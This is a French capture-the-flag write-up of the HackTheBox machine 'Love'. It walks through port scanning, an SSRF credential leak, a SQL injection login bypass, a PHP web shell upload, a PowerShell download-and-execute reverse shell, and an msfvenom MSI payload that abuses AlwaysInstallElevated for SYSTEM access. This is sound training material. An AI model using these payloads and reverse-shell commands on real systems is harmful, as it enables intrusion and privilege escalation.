> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Compte rendu HackTheBox de Love {% embed url="" %} {% hint style="warning" %} **Compétences :** * Injection SQL (SQLI) * Falsification de requête côté serveur (SSRF) * Abus du téléversement de fichiers * Exploitation du système de vote * Abuser de AlwaysInstallElevated (fichier msiexec/msi) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Exploration des ports ouverts et exportation dans le fichier « allPorts » du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Analyse des ports ouverts avec extractport :** Utilisation de la fonction extractport pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

**Scan des versions des ports avec Nmap :** Utilisation de Nmap pour scanner les versions des ports et extraire les informations dans le fichier « targeted » : ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

**Recherche de répertoires :** Nous utilisons Gobuster pour rechercher des répertoires sur le site : ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

Dans le `admin` Dans ce répertoire, nous découvrons un panneau d'administration.

## Exploitation du système de vote : Dans ce cas, il existe deux façons d'exploiter le panneau d'administration du système de vote : ### 1. Vulnérabilité SSRF : Le port 443 révèle un `staging.love.htb` sous-domaine que nous ajoutons à notre `/etc/hosts` .

Ce site peut scanner des sites web via une URL.

En analysant `localhost:5000` (non accessible depuis l'extérieur), nous découvrons des identifiants : `admin: @LoveIsInTheAir!!!!`

Remarque : depuis l'extérieur, le message « You don't have permission to access this resource. » s'affiche, bloquant l'accès.

### **2. Vulnérabilité d'injection SQL (**[**SQLi**](/fr/web/sql-injection.md)**) :** Avec `searchsploit` nous recherchons des vulnérabilités spécifiques du système de vote et trouvons le payload suivant :

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` À l'aide de Burp Suite, nous accédons au tableau de bord.

## Vulnérabilité de téléversement de fichiers : Une fois dans le tableau de bord, une option permet de créer un nouvel utilisateur. Nous créons un `cmd.php` fichier pour exécuter des commandes sur le serveur :

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

Le panneau n'applique aucune vérification de sécurité, ce qui nous permet d'injecter des commandes (par exemple, `whoami`). En testant une commande ping, nous vérifions la connexion :

nous allons vérifier s'il peut lancer un ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Comme nous recevons la réponse, nous confirmons la possibilité d'exécuter des commandes sur la machine cible

**Commande PowerShell pour un shell inversé** Une fois que nous verrons que nous pouvons exécuter des commandes, nous téléchargerons le `PS.ps1` script sur notre machine. {% embed url="" %} À la fin du script, nous ajoutons la ligne suivante : ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Nous allons créer un serveur web avec le `PS.ps1` le script ```bash python3 -m http.server 80 ``` Ensuite, nous modifierons la commande pour qu'elle pointe vers notre serveur web : {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Enfin, nous écoutons sur le port 4444 : ```bash rlwrap nc -nlvp 4444 ```

### Flag user.txt :

## Élévation de privilèges : ### **Énumération avec winPEASx64.exe** Pour effectuer une élévation de privilèges sur un serveur Windows, exécutez d'abord l' `winPEAS` outil de reconnaissance. {% embed url="" %} Téléchargement de l'outil de reconnaissance winPEASx64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Vérification de AlwaysInstallElevated Le `winPEAS` L'outil vérifie divers paramètres de sécurité du système. Nous nous intéressons particulièrement à la `AlwaysInstallElevated` clé de registre. Si cette clé est définie sur `1` dans `HKLM` (HKEY LOCAL MACHINE), cela indique que tous les `.msi` fichiers peuvent être installés avec des privilèges élevés, ce qui constitue une vulnérabilité.

{% embed url="" %} **Créer un fichier .msi pour obtenir un shell inversé** Pour exploiter cette vulnérabilité, nous allons créer un `.msi` fichier qui, une fois exécuté, nous fournira un shell inversé. Nous utilisons `msfvenom` pour générer ce fichier : ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Transfert du fichier .msi**/ fichier Après avoir créé le fichier, nous devons le transférer vers la machine cible : ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Écouter le port 443**/ Avant d'exécuter le `.msi` fichier, nous devons écouter le port que nous avons spécifié. Utilisons `nc` (netcat) pour cela : ```powershell rlwrap nc -nlvp 443 ``` **Exécution de la commande d'installation**/ Enfin, nous exécutons le `.msi` fichier en utilisant `msiexec`, ce qui déclenche l'installation silencieuse : ```powershell msiexec /quiet /qn /i reverse.msi ```

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.